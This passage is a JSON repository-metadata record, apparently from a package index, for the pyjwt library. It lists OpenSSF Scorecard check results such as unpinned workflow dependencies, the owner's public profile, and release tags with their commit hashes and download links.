GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","p